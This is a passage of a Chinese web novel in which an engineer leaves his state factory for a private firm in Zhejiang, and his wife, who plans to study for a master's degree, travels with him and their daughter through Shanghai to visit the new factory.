这个他奉献了八年的厂子,怎能不让他感到心凉失望? 舒英一下班就注意到了李固言的状态,眼神涣散,做什么事都有些心不在焉,一定有事发生,当着李妈的面她忍着没问,等到晚上两人躺在床上后她才问出声:“今天发生什么了吗?” 李固言嘴角动了动,终还是把罗厂长今天打电话的事告诉她,并坦言自己的想法:“……我有点心动。” 两个人对面坐着,他低垂着眼,像是做错了事的孩子,谷雨躺在他俩中间闭着眼睛酣睡,身上的小薄被早就不知道被她什么时候给踢开了,舒英抬手给她往上拉了拉。 舒英脸上并没有流露出任何不快,她抬起头正面看着他,神色很是认真:“我希望你去做能让你开心的事情,不论我们能不能预知这件事的结局。” 李固言定定地看着她,眼睫有些颤抖,他其实不知道该不该和她袒露自己的想法,谷雨现在还不到两岁,正是离不开人的时候,如果他离开了,就算有李妈平时帮着,她也会变得辛苦许多。 他又低下头,右手还无力的挂在胸前,左手微微发抖往回收了收。 他在犹豫不决。 舒英知道他的未来一定是辉煌的,他不该被困在这个浑浊的地方里,夫妻夫妻,并不是要以妻子之名绑着他,让他一辈子困守在她身边,这样他一辈子郁郁不得志,她瞧着他不开心自己也不会开心。 舒英伸出手捧着他的脸,让他不得不盯着她的眼睛看:“固言,我们是夫妻对吗?” “当然,我们这一辈子都会是夫妻。” “我是真的支持你去做你想做的事情,你不要顾虑我们娘俩,有妈帮衬着呢,我不会多辛苦的。” 李固言握住她放在自己脸上的手,声音有些发哑:“可是我不想和你们分开……”她在安城有稳定的工作,事业蒸蒸日上,如果他去了浙省打拼,一年就回来那么几趟,他害怕两人的感情会变淡,也害怕自己无法参与到谷雨的成长。 舒英笑了笑:“谁说我们要分开了?” 李固言不解地睁大眼。 舒英屈指敲了敲他额头:“其实我早就有想法了,只是一直没跟你说而已。我之前就通过自考拿到了本科毕业证,其实自考的含金量是不高的,可是有了本科毕业证就能考研究生,我只是想拿到本科毕业证后就去考研。之前没跟你说是因为觉得谷雨还小,考了研就得去外地读书,恐怕我们一家子要分开,就想着等两年再说,但现在你的事业有了新的规划,那我的打算也可以提上日程了。” 也是拜那书所赐,让她提前知道李固言以后的人生大概是个怎么样的,也让她知道自己在书里的未来是个怎么样的。 书里的她一生都在二院上班,在药房熬着资历,日子平稳但也实在有些乏味。她生在安城长在安城,读书工作都在安城,也就以前走亲戚去过周边的城市,除此之外,到现在快三十岁一直都没有出过省,之前倒也计划过出去旅游,可假期太短,连坐火车的时间都不够,又能去哪呢?看了书之后,她心里就暗下决定,未来的路不想如书中那么走,所以主动与李固言和好只是她尝试的第一步,不论成功与否,她以后都是要靠着自己走出去的。 李固言也是才知道她还有这个想法,就像她支持他的事业,同样的,他也为她的打算而感到高兴。 “那你准备考去哪?” 舒英想了一下道:“唔,沪市吧,我以前看电视就很想去亲眼瞧一瞧繁华的沪市,看看它跟我们安城有什么不一样的地方。” 沪市离浙省很近,李固言看着她,眼底终于又有了点笑意。 舒英拍了他一下笑道:“不过你也别高兴那么早,头两年咱们肯定还是聚不到一块儿去的,你先去浙省探探情况,我一边上班一边准备考试,等你在那边扎稳了跟,我差不多才能考到那边去,而且我考上了之后是不上班的,也就是说家里就少了我的收入了,你得更加努力才行,要不然咱三个可就要吃糠咽菜了,我吃糠咽菜倒还能忍,我可舍不得我闺女跟我一块儿吃苦。” “好,我会努力,肯定不会让你和谷雨吃糠咽菜的。”李固言点点头,一副她说什么是什么的样子,只要一家人不分开,就算头两年辛苦点也没有什么。不过浙省就算离沪市再近,毕竟也不在一个地方,他心里琢磨着,得在她考上之前就把事业转移到沪市才行。 “那你是什么时候过去?要不等伤养好了后就过去吧?在你去的时候我也先跟医院请个假,带着谷雨和你一起去浙省玩两天。” “行,都行。”李固言抱着她,在她发间印下一吻,只觉这段时间伤透的心都在这时被她一块一块的捡起缝合。 再没有比与她相守最幸福的事了。 第42章 第 42 章 停薪留职 半个月的时间肯定是不够拆石膏夹板的, 李固言病假休完后又跟厂里请了一段时间,也不知是不是厂里心中有愧,竟问 也没问就同意了。 李固言也不管他们心中如何想, 直在家里养到胳膊彻底好后才回了厂里。 但他回厂里却不是上班, 而是办理停薪留职。 陈主任看着他的申请,心中很是不舍,再三挽留道:“固言呐, 你要不要再想想?你现在出去,那你以前打拼的这些不就都没有了吗?咱们厂毕竟有底蕴在,你出去后再想回来就很难了啊!” “主任,其实我们都知道, 我打拼的东西在某些人的眼中其实一文不值,他们不在意我,所以才能如此轻而易举地把我换掉。主任,我忍了太久了, 这次我是真的不想再忍了。”李固言声音和缓, 却异常坚定,脸上还挂着一抹轻笑。 陈主任看着他的神色, 所有的话都化作一声叹息, 消散在口中,他看着他的申请终于还是笑起来说:“固言,你既然如此说了,那我也就不再挽留你了, 你的能力我是最清楚不过的,以你的本事,换个平台,重新努力一番, 我相信也定会有一番造化,你的未来绝不会局限在这小小的安城机械厂中,厂里耽误你太久了啊!作为老领导,我也不知道该说什么了,只能祝你,未来万事如意,飞黄腾达!” 李固言看着他,八年过去,他也老了,鬓边已然泛白,眼神浑浊泛着泪花,落在他身上的视线却是温和有力量的。 这是他一进厂就带着他的老领导,就相当于他的老师。 李固言轻轻抿唇,开口道:“主任,您的心意我领了,未来我会努力的,一定不会辜负您这么多年对我的培养。” 这八年中,陈主任帮过他良多,而在一些事情上也的确让他受了委屈,但他现在已不是初出茅庐的毛头小子,事事都要争个对错,他早就明白社会上的事情并不是非黑即白,人也不是只有单一的立场,人做什么事都会率先考虑自己,陈主任是,简光远是,就连他,也是。 所以陈主任在真心之外的那些虚与委蛇,他现在也并不在乎了,人要离开了,所能记住的也只有那些曾经的真心了。 等人出了办公室,陈主任重重坐下,看着面前搪瓷杯里沉沉浮浮的茶叶叹息,厂里已经僵腐了,留不住人才啊! 厂子说大不大说小不小,但却足够一件事情传的满天飞。 前段时间李工和陆副主任的那件事早就闹得沸沸扬扬,只是厂里压着不让明面上谈论而已,但只要有点良心的工人,谁心里不觉得是李工受了委屈? 所以现在李工要走,他们一方面觉得是得这样,总不能一直待在这受着鸟气,另一方面又存了看戏的心思,在他们这种心思地助推下,李固言停薪留职的申请还没办下来,厂里就已经传了个遍了。 袁宜也知道了这个消息,一时惊愣,她怎么也没想到会是这个结果,李工竟要放弃现在的一切重新开始吗? 李固言办理停薪留职的时候,舒英也请了假,一直陪着他。 舒英看着这熟悉的厂子,心中不由生出一股不舍来,她在这厂里生活了这么多年,认识了这么多人,突然说要离开,心里很不好受,她心里都这样了,李固言只会更难受。 她牵住他的手,用力握了握。 李固言回头看着她笑了笑道:“我没事。” “老师!”是袁宜,她跑着过来,天气热,出了一脑袋的汗。 “小袁?你怎么过来了?” “老师,你真的要走了吗?”袁宜看着他还是有点不敢相信。 李固言笑笑,看着她,这是他第一次带的学生,那掐尖好强的性子跟他尤其的像,看见她就好像看见了那个刚毕业的自己,懵懂无知又迷茫无措,所以他总是忍不住想将自己知道的、自己经历过的,全部都告诉他们,想让他们不要再吃自己受过的苦,踩自己踩过的坑。 他没回答她的问题,这个问题人尽皆知,已经没有回答的必要了。他问:“小袁,小简呢?” 袁宜眼神闪了闪,抿着唇不说话,最近简光远跟陆德越走越近,听说陆德还给他介绍了一个相亲对象,是后勤那个主任的亲闺女。 她不说话,李固言也就什么都明白了,他仍是笑着道:“小袁,你和小简是我一手教出来的,你们的脾气性格我最清楚,你好强,他懒散,但其实本质上都是好孩子,我要离开厂子了,以后你要更加勤勉才行,千万不要懈怠,老师相信以你的秉性,以后你一定会有一番成就的。” 舒英还牵着他的手,听到这话抬头看了看他,简光远背叛了他,甚至到现在都对他躲着不见,连解释都没一句,他在袁宜面前却还是不忍心说他的不好。 袁宜咬了咬下唇,突然说:“老师,我能不能跟你一起走?”她来了机械厂两年,厂里的人大多都觉得她是女人而不堪胜任,可明明她并不比他们之中的任何一人差,凭什么她要受这样的白眼?在这里,只有老师觉得她是可造之才,会尽心尽力地教导她,若是老师走了,她在这里还不知道要熬多久才能上去,也许熬一辈子都上不去,老师不就是活生生的例子吗? 她这话一出,不光是李固言惊讶,舒英都有些诧异。 袁宜看着他们的神色,忙解释说:“我是经过深思熟虑的,不是一时头脑发热,老师宽厚,跟着老师,我以后不说成就多大,至少不会像现在这样受委屈,也不会受别人冷眼。” 李固言说:“这件事你回去再好好想想,罗厂长那边咱们都是去过的,基本情况你也了解,但要真是在那里工作,也不知道会是什么样,万一说的和给的不一样,岂不是又进了另一个火坑?你若是真下定了决心,就等我在那边站稳脚跟后再说。” 袁宜听到这话,这才高兴起来,起码未来的路不再像之前那样看不清方向,她笑起来,看着老师师母头上的汗连忙道:“老师,师母,你们热了吧?我去给你们买冰棍吃!” 还不等两人反应,立马就跑了出去。 舒英望着她活泼的背影,还有些不放心,问:“你真要带着她过去啊?她家可还在安城,去到那么远的地方,她一个女孩子,万一出了什么事情……” 李固言摇了摇头,“其实她想走恐怕不只是因为厂里,也有她自己家里的原因。之前我想着这是学生自己的隐私,就没跟你说……” 袁宜的家庭条件一般,她爸是工人,她妈没有工作,就在家里伺候一大家子。 袁宜从小成绩就好,一路往上学,家里其实是不太愿意的,她是老大,下面弟弟妹妹好几个,她一直上学,家里的重担就都得担在她爸妈身上,但她成绩实在好,不让她上,学校、社区就都来劝,她爸妈也是没法,只能让她上,好在大学有补贴,她也能兼职,这才让她家里稍微满意些。 后来就分配到了机械厂,这是大厂了,说出去也有面子,说婆家都能说个更好的,彩礼也能收的更高,她爸妈是更满意了,三天两头就催着她相亲、结婚、收彩礼。 甚至还想来厂里闹,幸好被李固言得知而提前拦下了,袁宜哭得话都说不出来了,这要是真让她爸妈得逞,她的自尊要往哪里放? 李固言估计着,她想走,应该也是想摆脱这吸血的一大家子。 舒英听完也有些唏嘘,没想到瞧着这么努力的姑娘,背后竟还有这些故事。 两人正说着,袁宜已经拿着两个冰棍回来了,又是跑回来的,额前碎发都汗湿了,她将两个冰棍递到他们俩手里,就又赶着回去上班了。 舒英最见不得这种努力的孩子受委屈,看着微微化水的冰棍,心里也是憋得慌。 “那你去罗厂长那可得好好探探路,要是真不错,就把小袁也给叫过去。” 李固言笑笑:“放心吧。” 李固言要离开厂子,有人不舍自然就有人高兴。 陆德脚搭在桌沿上瘫坐进椅子里哼着小曲,晃着杯子里的茶叶,时不时的抿一口,连带喟叹一声,那真是好不畅快。 看 不顺眼的人终于是走了,他当然是高兴得不行,他望向对面的简光远玩笑道:“小简,这你老师要走了,你不去送送吗?” 简光远握着笔的手一顿,脸上瞬时也笑起来说:“恐怕老师现在不太想看见我,我还是不去给他添堵了。” 他倒是有自知之明,陆德哈哈笑起来,把脚从桌子上拿下来,椅子往前拉了拉,看着他说:“你也别觉得愧疚,跟着我比跟着你那老师强,以后啊,你的未来不可限量,不可限量~呐!”说着说着还眯起眼唱起来。 简光远笑笑没搭话,他低下头看着设计图上的一道道线,心中也有些茫然,他这么做是对是错? 茫然也不过一刹那间,他就又坚定了内心的想法,他这么做没错,李工在这个厂里自身都难保,跟着他何时才能晋升?只有跟着陆副主任才是唯一的出路。 …… 李固言的停薪留职办理好后,就跟舒英一起带着谷雨坐上了南下的火车。 时值丰收,火车路过之地,一片金黄,田间地头有不少人农人弯腰劳作。 这个时候火车上人不多,舒英和李固言买的硬卧,一个包间里就只有他们一家三口,谷雨扒着窗户往外看,像是被这副美景迷晕了眼,两只眼睛看得发直。 李固言笑了笑,拿着相机对着她拍。 他们准备先去沪市,再从沪市去浙省。 他们带的东西不多,到沪市的时候临近中午,先去找了家招待所安顿好后,才抱着谷雨去找餐馆吃饭。 出门前舒英问了一下招待所的老板娘,有没有什么推荐的饭店,老板娘热情地笑起来,走过来给他们指方向:“来沪市旅游的吧?咱这附近这几家店都还不错,你出了门往右拐,一直直走,那边那几家粤菜、本帮菜、川菜,你看你想吃哪家就进哪家的门。” 舒英点头笑了笑道谢。 两人抱着谷雨向老板娘指着的方向慢慢走过去,边走边看着周边的风景。 舒英拉着李固言的衣角,左右扭头望,她还是第一次来呢,看什么都新鲜,这边处处都与安城不同,处处都透着繁华富贵。 到了老板娘说的地方后,李固言问:“想吃什么?” 舒英看着几家挨着的店招牌想了想答:“都来了沪市,尝尝本帮菜吧。” 现在中午餐馆里正热闹,穿戴整齐的服务员忙碌地在人群中穿梭,舒英和李固言一进去就被人接待,领着坐到空桌子上,并把菜单拿给他们。 舒英看着菜单问:“你好,你们店的招牌菜是什么?有推荐的吗?” 服务员弯下腰笑着点着菜单上的几道菜道:“这几道菜是我们本帮菜的特色菜,评价很高,你们可以尝试一下。” 舒英看着她指着的那几道菜名,点点头把菜单往李固言面前放了放说:“行,那就一个八宝鸭,这个水晶虾仁谷雨应该爱吃,一道清炒时蔬,再要一个汤,就这个腌笃鲜吧。” 服务员边听她说边快速地在单子上记着,最后又跟她确认了一遍后才拿着单子到后厨。 等人走了,舒英才好意思跟李固言道:“沪市这边东西真贵,菜的价格是安城的两倍呢!” “没事,只要好吃就行。”李固言笑笑,伸手把谷雨抱到腿上坐着,“我们以前也没怎么吃过,偶尔吃这一次还是负担的起的。”他以前出差来沪市,倒是跟厂里的人尝过这些菜,虽然与安城的菜有很大的不同,但味道不错,值得尝试,而且舒英还是第一次来沪市,当然要好好尝尝了。 点的时候舒英还想着两个大人一个小孩点四道菜会不会多了,要知道在安城,下馆子两个人三道菜就能把人吃撑了。而等服务员把菜上齐后,舒英看着这四道菜想,这顿饭他们是绝对浪费不了了,这四道菜摆盘精致,看起来色香味俱全,其实分量实在不多。 两人吃饱喝足,抱着谷雨回了招待所,拿了东西就往沪大去。 李固萱就在沪大读研究生,李妈在他们来之前给李固萱准备了好些东西让他们一并带过来。 他们住的招待所离沪大不算太远,坐公交车半小时就到了,因为提前打过电话,所以到的时候李固萱已经在沪大门口等着了。 李固萱一看到他们就高兴得迎上来,抬手就要接过舒英手里拎的东西,舒英避了避笑说:“不重不重,我拎着就行。” “这么多呢,你分我一半拎。”李固萱不由分说从她手里拿走一半,又笑着去逗弄李固言怀里的谷雨,“小谷雨,还认识姑姑吗?” 那自然是不认识的,谷雨瞧了她两眼,被她逗得害羞地趴在李固言怀里不肯抬头。 舒英笑道:“这是小姑姑,不记得了吗?你最喜欢的小羊还是姑姑送给你的呢。” 提起小羊,谷雨又抬头看过来。 舒英点着她跟李固萱笑说:“那个小羊她天天玩,吃东西都要给它先吃,出来玩也得给她带上。” 李固萱戳了戳谷雨的小肉脸,笑起来:“谷雨这么喜欢小羊呀,那待会儿姑姑还带你去买好不好?” 几个人说说笑笑到了李固萱的宿舍楼下,李固言是男人,不能进,只能在楼下等着,舒英把手里的东西都递给李固萱,要从李固言怀里接过谷雨。 李固萱抢着说:“我来抱我来抱。” 舒英也不跟她争,笑着把东西都拎在手里,说:“她现在可敦实,抱一会儿胳膊就酸了。” “没事,我力气大!”李固萱把谷雨抱到怀里,忍不住在她脸颊上亲了亲,瞧着洋娃娃一样的小人,心里软得不行,夹着声音道,“小谷雨你怎么这么可爱,真是让姑姑喜欢坏了。” 小谷雨被她弄得痒,咯咯笑起来,她现在又比过年那会儿大了点,已经不怎么怕生了,而且妈妈就在旁边,所以就算被姑姑抱着也一点不害怕。 李固言在楼下等着,两个人带着谷雨上楼,好在李固萱住的不高,就在三楼,要不然抱着谷雨负重爬楼真的要累的喘不上气。 一路上碰到李固萱的同学,都好奇地扭头过来看,问道:“固萱,你抱着的谁啊?长得真可爱。” 李固萱不免要跟同学们炫耀,“可爱吧,我小侄女,还没到两岁呢。” 到了宿舍,宿舍是六人间,此时里面只有两个人,舒英把李妈给李固萱准备的东西都给拿出来,分了一些吃的给舍友们。 在李固萱跟两个舍友在哄着谷雨玩的时候,舒英在环顾着这件宿舍,六人的寝室,上床下桌的布置,床、柜子、桌子看着都很新,应该是这两年才换的。 宿舍朝南,有个小阳台,她站在阳台上往下看,李固言正坐在楼底的一张长椅上等着,他生得俊俏,女宿舍楼下来来往往的都是女同学,路过他时都要往他身上瞥两眼。 舒英瞧着这副场景,没忍住笑了笑,又放眼往外面望过去,他们刚才进来的校门被教学楼挡住,教学楼高大雄伟,暗红色的外墙给人以庄严肃穆的感觉,校园里的绿化郁郁葱葱,树下经过的是三三两两的学生和老师,手里捧着书,脸上扬着笑,身上浸染着知识分子的气质。 蓬勃向上让人不免生出无限的向往。 仔细想一想,她上学的日子好像已经过了很多很多年,久到她都有些记不清了。 说实话,她的母校,安城卫生中专在安城不论是校园坏境还是师资力量都算是很不错的了,但它毕竟只是中专,和大学相差甚远,她目光有些贪婪地看着四周,暗下决心,不论如何,她一定要考来这里。 “嫂子?” 舒英听到声音,恍然回神转过身,“怎么了?” “我想说,你跟哥好不容易来一趟,我带你们在学校里转转?正好也让你们看看我们百年名校的风貌。” 她话说完,旁边的舍友笑着戳了戳她,道:“哪里有百年?我怎么不知道?” “哎呀,快了快了,马上不就百年了吗?” “你这个快了,可得再过十好几年。”舍友毫不留情地笑起来。 李固萱被戳穿也 不恼,一把把谷雨抱起来,又顺势荡了两下,可把谷雨高兴坏了,闹着还要玩。 舒英沉声“嗯?”了声,谷雨小嘴一撅老实下来。 舒英这才笑道:“你不提我也想说呢,我这来也是想在沪大转转。” “走走走,刚好我今天下午没课,有时间带你们好好玩玩。”李固萱抱着谷雨也不嫌重,一溜儿就跑到楼下去了。 在学校里走了一段路,舒英见谷雨在她怀里有点往下坠,估计是累了,但瞧着她的神色像是还新鲜着,她胳膊碰了碰李固言,示意他把谷雨接过来。 “谷雨给我吧,你再抱一会儿,胳膊该累得抬不起来了。”李固言伸手。 李固萱也是真的有些抱不动了,将谷雨递给他后,转了转有些发酸的胳膊,又捏了捏谷雨的小脸:“小家伙长得真快!身上的肉真结实。” 在李固萱这个本校学生的带领下,舒英在学校里转了个遍,沪大的校园很大,她眼中看着,心里估算着,大概有安城卫校的三四倍四五倍,各项设施齐全,校园里有湖泊,有草坪,有小树林,风景优美,令人目不暇接。 他们参观了食堂、教学楼、图书馆,没来之前,沪大在她心里只是一个抽象的概念,只知道它是名校是无数人的梦想,来了之后,亲眼见到它后,沪大的形象在她心里越发具体,它自由、开放,从各地而来的无数莘莘学子在此求学,学习先进知识,追求心中理想。 今天过后,沪大也将成为她的梦想。 第43章 第 43 章 新事业 舒英和李固言在沪大里转悠了一下午, 跟李固萱一起吃完晚饭后才回了招待所,回去的路上灯火通明,哪怕是在夜间也能让人清晰地看清楚这个城市, 欣赏城市里的美景。 在招待所休息了一晚上后, 第二天一家三口早早就起床,带着谷雨下楼去吃早餐。 来了沪市,那就不能不尝尝这里的薄皮小笼包, 葱油拌面和葱油饼。 三人到早餐店里坐下,点了两碗葱油拌面,两个葱油饼和一笼小笼包,安城也有小笼包, 不过安城的小笼包就是正常包子的缩小版,跟沪市的小笼完全不同。 葱油拌面真的就是字面意义上的拌面,面卧在青瓷碗里码得很整齐,上面点缀着几根有些发焦的干葱, 李固言拿筷子将面拌开, 分量不多,一碗面, 他几口也就吃完了。 面, 安城也是常吃的,手擀面、板面、挂面、凉面,各式各样的面,各自不同的做法, 家里不想费劲做饭的时候,就会随便下点面吃,一碗面下肚,再就点小菜, 往往吃得很满足。 谷雨现在还不会用筷子,手里拿着勺子在小碗里扒拉,舒英在她碗里放了俩小笼包,怕里面的汤汁烫到她,提前给戳了个洞,让汤汁流到碗里,谷雨扒着碗将两个小笼包吃完,舒英又给她夹了一筷子拌面。 李固言吃得多,舒英和谷雨都吃饱后,他又要了一份葱油饼拿着吃。 吃完早饭后,一家人慢慢悠悠地出门,这次没抱着谷雨,而是牵着她在地上走。 昨天两人都计划好了,今天要去逛城隍庙、南京路,最后再去外滩转转,这几个地方离得都不算远,一天足够走个遍了。 今日秋高气爽,天气晴朗。 两人抱着谷雨坐上公交车,谷雨现在还小,连票都不用买,坐在李固言腿上。 舒英怕她会晕车,拉着她的手逗着她玩,谷雨是个爱笑的小姑娘,咧着小嘴乐不可支。 李固言看着母女俩一起笑得开怀,也跟着轻轻扬起唇,只是眼底却闪过一丝酸涩,等去了浙省,他不知道要多久才能见她们一面。 一想到这里,哪怕一家人还没分开,他心中就已经开始产生不舍。 李固言转过头看向窗外,窗外场景飞快地向后掠过,很快到达他们的第一站——城隍庙。 今日计划要去的几个地方都是沪市有名的景点,节假日都是要人挤人的,只是好在他们没在节假日的时候过来,人多,但还不挤。 李固言脖子上挂着相机,对着母女俩随走随拍,还特意找了路人帮他们一家三口拍了几张合照。 一家子在沪市玩了两天,该转的景点都转了一遍后,就带着买的特产去了浙省宜州。 罗厂长一早就盼着他们来呢,一大早就派人在火车站等着,生怕错过了。 从沪市到宜州不愿,火车也就两个小时的路程,坐一坐就到了,舒英就没买卧铺票。 下午两点多的时候,他们从火车站出来,李固言来过几回,一眼就看见等在门口的司机,他看见了司机,司机也发现了他,连忙迎上来接过他们手里的东西,又帮着打开车门,让他们坐上去。 上了车后,李固言坐在副驾,舒英跟谷雨坐后面,司机边开车边笑说:“我们厂长知道李工您今天到,可兴奋了,早上天还没亮就跟我说让我来车站守着,说不知道您坐哪班车来,生怕我错过了。” 李固言笑笑,他是没想着让罗厂长派人来接的,他们一家主要还是在游玩,早上起的也比较随意,也确定什么时候到车站,能买到几点的票,不确定的时间岂不是要让人家一直在这等? 而且他来过这里,知道怎么走,想着到了后就招一辆出租去就行了。 没想到罗厂长还是派人过来等着了。 李固言笑起来,将这份好记在心里。 “厂里今天忙吗?” 司机笑道:“忙!从您那买的机床可是提高了我们不少效率呢!”说完才想起来从厂长那听到的事,他心虚地抬眼斜瞥了他一下,他真是哪壶不开提哪壶,这不是揭人家伤疤吗? 李固言看出他在想什么,笑笑后岔开话题看向窗外道:“你们这边水稻也开始收了?” 司机开着车也跟着看了眼回说:“都收的差不多了,我们厂后面也有一块儿地,也种了点。我记得你们那边是种麦子的吧?” 李固言点点头:“是,上半年是麦子,下半年是黄豆。” 舒英坐在后面将窗户摇下来了一点,风吹进来,丝丝清凉的风中夹杂着农作物的清香,拨乱了她的发丝。 她的头发被吹到谷雨脸上,谷雨哼唧着挠了挠脸,舒英这才注意到,看着她一脸宠溺地笑着。 “妈妈痒痒。”谷雨坐在舒英怀里,抬着头声音软糯。 李固言听见声音回头问:“怎么了?” “没事,我头发扫到她脸了。”舒英抬手把头发拨到后面去。 李固言想起手上好像还有个橡皮筋,拿下来后递给她:“给。”是早上她忘在桌子上的,他看见后随手就套在自己手腕上了。 司机瞅了一眼,还觉得有些惊奇:“李工,你还帮老婆带着皮筋呢?” 李固言笑笑没说话。 司机也是个活络的人,打着方向盘笑道:“我这一看你们家就是个夫妻恩爱的,咱这不都有一句话吗?爱妻者风生水起,李工,你这以后肯定了不起。” 他这话说的夸张,两个人都忍不住笑起来,谷雨抬起头看看妈妈,又扭头看看爸爸,虽然不知道他们在笑什么,但看着他们笑也跟着笑起来,露出一排整齐白净的乳牙。 李固言回过身看了看她,伸手捏了捏她的小脸。 谷雨不想让他捏,皱着小鼻子躲开。 舒英笑着摸着她的头,给她留了点头发,早上起来用小皮筋扎了两个冲天小啾啾,甚是可爱。 很快就到厂里,车刚到门口,门卫就把门给打开了,司机一转方向盘,桑塔纳就怪了进去,停在一栋小楼前面。 几个人刚从车上下来,楼里就出来了几个人,脸上带着笑,手从老远开始就伸出来。 舒英打量着为首的人,一米七出头,年纪大概刚过四十,正值壮年,身材不胖,脊背挺直,穿着棉布白衬衫,黑裤子,脚踩一双锃亮的皮鞋,眼角眉梢都是笑意,上来就握着李固言的手不放,笑道:“哎呀李工,你可来了,我们可是等候多时了!” 又看向站在他后面的舒英和谷雨,问候说:“这个就是弟妹和侄女 吧?” 舒英笑着点了点头问声好,又教着谷雨道:“叫伯伯。” 谷雨搂着她,好奇地盯着眼前这么多人,听话地喊了声:“伯伯。” “哎呦,这小姑娘真可爱,俩大眼睛炯炯有神的。”罗厂长边笑边说,又拉着旁边的一位女士一同看着。 那名女士也笑起来:“可比咱家那俩小子招人喜欢。” 舒英一直礼貌地笑着,听这话应该是罗厂长的妻子了,她看了她一眼,见她眼神凌厉,头发卷成大波浪,抹着红唇,大约一米七的高挑身材,穿着一身鹅黄色的职业套装,很是时髦。 这名女士看着她,率先笑道:“我是咱们厂的会计,我姓祁,叫祁欣美,我比你年长不少,你喊我祁姐就行。” 舒英抱着谷雨没办法跟她握手,就笑着点了点头道:“祁姐好,您叫我舒英就行,这是我女儿,小名叫谷雨。” “舒英?哪个英?” “英气的英。” 祁欣美笑起来,五官明媚地舒展,口中不住地夸赞:“英气,这名字好,给人一种巾帼不让须眉之感。谷雨也好听,二十四节气,你们这一家子都是文化人,名字都好。” 这还是第一次有人夸赞她的名字好听,她小的时候因为名字与兄弟姐妹不同,觉得自己不像是舒家的孩子,不知道多少次偷偷难受,也因此没少对自己的名字感到反感,所以让李固言一直叫她阿舒,而不是阿英。 舒英抿着唇有些不好意思地笑起来,心中对这位祁姐很是有好感。 谷雨在她们俩说话的时候一直目不转睛地盯着祁欣美看,祁欣美注意到后笑着凑近她,好奇问:“怎么啦,小谷雨,怎么一直看我呀?” 她猝不及防地凑近,谷雨瞬间趴回舒英怀里,头埋在她颈窝里不好意思抬起。 舒英也有些好奇,拍了拍她的后背问:“怎么一直看着伯母呀?是不是伯母长得太漂亮啦?” 谷雨在她怀里扭了扭小身子,也不吭声。 “小孩子害羞呢。”舒英笑了笑。 站在旁边跟李固言说笑的罗厂长看了外面,说:“外面热,走,咱进屋里聊。”随后摊着手将他们带进一间清凉的茶室。 李固言来过几回,所以在场的几个人都认识他,连介绍都不用,罗厂长看着李固言,那开心的劲头简直是有眼就能看出来。 祁欣美在一旁玩笑道:“老罗,你可收敛点,你这笑得这么吓人,别回头把李工给吓走了,那你可哭都没地哭!” 这话一出,茶室里的人都哈哈大笑起来。 罗厂长哼哼两声,“你就会给我拆台。”说完从柜子里拿出珍藏已久的茶叶,宝贝似的道,“这还是我之前托人买的,市面上都没有,也就是李工你来了,我才舍得拿出来泡泡。” 他旁边一个人撇着嘴用手点了点他:“厂长这茶我们可都馋坏了,一直在柜子里收着,过年都不愿意拿出来给我们尝尝。” 舒英看着几人聊天,从这些对话中也能看出来罗厂长是个好脾气的人,对下属应该也不会差,要不然那人不会这么松快地跟他玩笑。 她打量完了,又看向李固言,来这一趟,她也不光是想出来旅游,也是真的想看看他以后要工作的地方是什么样的,值不值得他放弃国营厂的工作。 这简单观察了一下,她觉得就冲罗厂长这人,这个厂子的工作氛围应该是不会差的。 祁欣美在跟几人说笑的同时也没忽略舒英,笑着问:“小英,我听说你是在医院上班是吗?” 舒英点点头:“是,在医院药房里。” “这是个好工作。”祁欣美坐在软椅上,翘着二郎腿,上半身微微俯向她,看了眼那边的李固言后又问,“那李工过来了,你这要转过来吗?咱们这边的医院也挺好的,到时候疏通疏通想过来应该也不难。” 舒英摇了摇头,笑着婉拒:“暂时还不打算过来,等再过两年,谷雨再大点再说。”她没说自己想考研究生的事,这种还没影儿的事说不来不好,万一没考上,岂不是尴尬,而且她结婚有孩子,想要重返学校在现在的很多人看来都像是痴人说梦,安分的日子不过,净瞎折腾。 祁欣美看了她一眼,有些惋惜,今天这一面,她还挺喜欢她的。 最主要的是,李固言瞧着像是个顾家的,就怕异地分离,他坚持不住,最后要回去。 不过今天才第一次见呢,也不是说这个的时候,祁欣美重又笑起来,道:“今晚在祁姐家吃,我让人给你们准备了螃蟹,现在螃蟹已经下来了,是最好吃的时候,你们那边是内陆,应该是不常吃这些东西的。” 舒英笑了笑说:“不怎么吃,我们那边海鲜什么的不常见,吃也就是吃点河里的鱼。” “哎呦,那你这来我可要好好招待一番,我们这里最数海鲜出名,鲍鱼生蚝这些,都鲜嫩得很。” “好,那我这可要好好尝尝了。” 她们这边说着,那边茶也泡好了,李固言端了杯过来递给舒英。 舒英不懂茶,接过轻饮了一口,迎着罗厂长期待的目光笑着赞赏说:“好茶。”其实在她眼里,茶的滋味都一样。 谷雨看到她喝,眼神一转不转地盯着,等她喝了一口后,扒着杯子也要尝尝。 “小孩能喝茶吗?”舒英把杯子拿远没给她,问了一嘴。 祁欣美道:“抿一点点应该也没事。” 舒英闻言把杯子凑到谷雨嘴边,谷雨先是不喝,小鼻子一耸一耸地问了问,随即苦着脸远离,还要捂着鼻子对舒英道:“臭臭。”她还不会形容各种味道,她不喜欢的就一律喊臭。 童言无忌,大家看着她又都笑起来。 舒英笑着点了点她的小鼻头,将剩下的茶水喝完。 祁欣美看着她们笑吟吟地分享自己俩孩子的事:“我家的两个孩子也是,一点也不喜欢喝茶,老罗搜罗了那么多好茶叶,在他们嘴里还没五毛钱的汽水好喝,气得老罗直叹气,说他们没品位不懂品鉴。” 舒英没忍住笑起来,做了父母的,说起孩子,总是能更快的找到话题,她问:“祁姐,你们家是两个儿子?” “是,大的十二,小的才五岁。”祁欣美伸手好奇拨了拨谷雨头上的两个冲天辫,“两个都是儿子,当时生老二的时候我就想着给我来个女儿,结果还是儿子。” “儿子女儿都好。”舒英看着谷雨的辫子,有些散了,又给她紧了紧。 “说是这样说,但有了一个儿子,不就想再要一个女儿,凑个儿女双全。” 那边正聊到机床要怎么改进,祁欣美听到后笑起来,用手指着他们玩笑说:“你们的预算可得掐准了,多了我可不给批啊。” “哈哈哈,祁会计,这不批预算可不行。”一人笑道。 一行人在茶室也没待多久,祁欣美带着舒英在厂里转了转。 这厂可比安城机械厂小多了,安城机械厂里面配置齐全,家属院、医务室、学校、食堂、澡堂,一个都没少,这边相比之下就逊色多了,但毕竟是民营的,也不能奢求跟国营大厂一样。 舒英转着看着,想象着以后李固言在这里上班的样子,站在车间门口,想象他在里面挥汗如雨的样子,进到食堂,想象他早中晚在这里或狼吞虎咽或细嚼慢咽,又走到职工宿舍楼下,想象他收了工疲惫又充足地躺在床上睡觉。 只要他的抱负得以实现、事业得以展开,不管是国营还是民营,什么厂都行。 